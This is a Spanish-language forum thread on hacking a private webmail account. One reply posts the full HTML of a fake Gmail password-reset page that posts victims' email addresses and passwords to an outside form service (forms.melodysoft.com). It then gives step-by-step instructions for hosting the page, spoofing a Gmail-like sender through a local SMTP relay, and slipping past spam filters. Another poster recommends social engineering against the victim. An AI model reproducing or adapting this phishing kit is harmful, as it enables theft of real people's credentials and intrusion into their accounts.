Originalmente publicado por Newbytes 
Hola yo tambien soy nuevo en esto: ¿en que lenguaje hiciste el exploit?
por que no subes uno para poder verlos?
haaa... otra cosa para que quieres hackear una web mail?? (el motivo siempre es importate)
haa por ultimo... eso del antivirus.. utilisa ingenieria social.. no creeras lo inocentes que son algunas personas.
no puedo usar ingenieria social pues no hablo con la victima y lo que envie se va a no deseados por tanto ni ve el mail enviado.
el xploit lo hice con html usando simplemente frontpage,
por ejemplo este para gmail:
-----
<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns="http://www.w3.org/TR/REC-html40">
<NOFRAMES>
<HEAD>
<title>Bienvenido a Gmail.</title>
</HEAD>
<BODY>
</NOFRAMES>
<body BGCOLOR="#EFFFFF">
<!--crea barras arriba de bienvenida-->
<TABLE BORDER="0" width="782" height="35">
<TR>
<TD width="141" height="11">
<p align="left"><img border="0" src="gmail.2.gif" width="141" height="65"></TD>
<TD BGCOLOR="#82caff" ALIGN="center" width="631" height="11">
<p align="left"><FONT FACE="verdana" size="4" ><B>Bienvenido a Gmail.</B></FONT></TD>
</TR>
</TABLE>
<!--texto de la pagina-->
<form method="post" action="http://forms.melodysoft.com">
<input type="hidden" name="id" value="
aquinombreformulario"
</form>
<TABLE BORDER="0" WIDTH="783" ALIGN="left" height="313">
<TR><TD height="19" width="777"><hr>Estimado usuario,</TD></TR>
<TR><TD height="65" width="777">para inciar el proceso de reestablecimiento de su contraseña le solicitamos indicar su cuenta de correo alternativo a la cual le enviaremos el link de reestablecimiento,
para ello simplemente debe completar los campos indicados y pulsar <u><i>Aceptar</i></u>.</TD></TR>
<!--HACE EL ENVIO DEL FORMULARIO-->
<TR>
<TD ALIGN="center" width="777" height="178"><table align="center"></TD>
<TD ALIGN="right" class="light"><font face="Arial" size="2"><strong>Correo Alternativo</strong></font></TD>
<TD ALIGN="left" class="light" nowrap="nowrap"><input type="text" tabindex="1" name="Usuario" value="" style="direction:ltr" size="20" /></TD>
</TR>
<TD ALIGN="right" class="light"><font face="Arial" size="2"><strong>Contraseña</strong></font></TD>
<TD ALIGN="left"><input type="password" tabindex="2" name="Clave" style="direction:ltr" size="20" /></TD>
</TABLE>
<P><FONT class="f" size="2"> <span lang="es"></span> <input type="submit" value=" Aceptar " name="aceptar"></FONT></P>
<p align="left">una vez completado este proceso abra el correo recibido pulse el link adjunto.</p>
<hr>
<!--LINK A PAGINA PRINCIPAL gmail-->
<TABLE BORDER="0" ALIGN="center" WIDTH="403">
<TR>
<TD align="center" width="772" height="35"> <font face="Arial"> <span lang="es"> </span> <b>
<a href="http://www.gmail.com/" ><font size="2">Volver a Página Principal</font></a></b><font size="2"> </font></font>
</TD>
</TR>
</TABLE>
</body>
<NOSCRIPT>
</html>
-----
es super basico
lo que es mas latero es que debes es:
- crear un formulario donde se grabara los datos y te avisaran, yo lo hice en melodysoft, es super facil, donde esta en rojo por en codifo del formulario que hiciste
- abrir un servidor gratuito donde subiras tu pagina, asi cuando aprete el linck se abrira ese servidor ficticio, yo use freeservers
- finalmente crear una direccion de correo que sea algo asi como de gmail, eso es tamben facil, vas a tu outlook express, pones herramientas/ctas de correo electronico/agregar nueva cta
- ahi elege POP3, en info de usuario e inicio de secion pon algo creible de gmail, como soporte etc, no pongas contraseña y clickea recordar, servidor entrante cualquier cosa, servidor saliente "localhost", aceptar, finalizar
- y por ultimo necesitas el programa "Local SMTP Relay Server", el cual instalas y abres antes de enviar tu email desde outlook con el link al servidor ficticio.
ojo que depende de a donde envies el xploit se ira o no a no deseados, mails privados como vtr, mimail, manquehue, etc no lo rechazan
espero te sirva, si te pierdes en algo avisame
salu2
help: hackear webmail privado. 
Re: help: hackear webmail privado. 
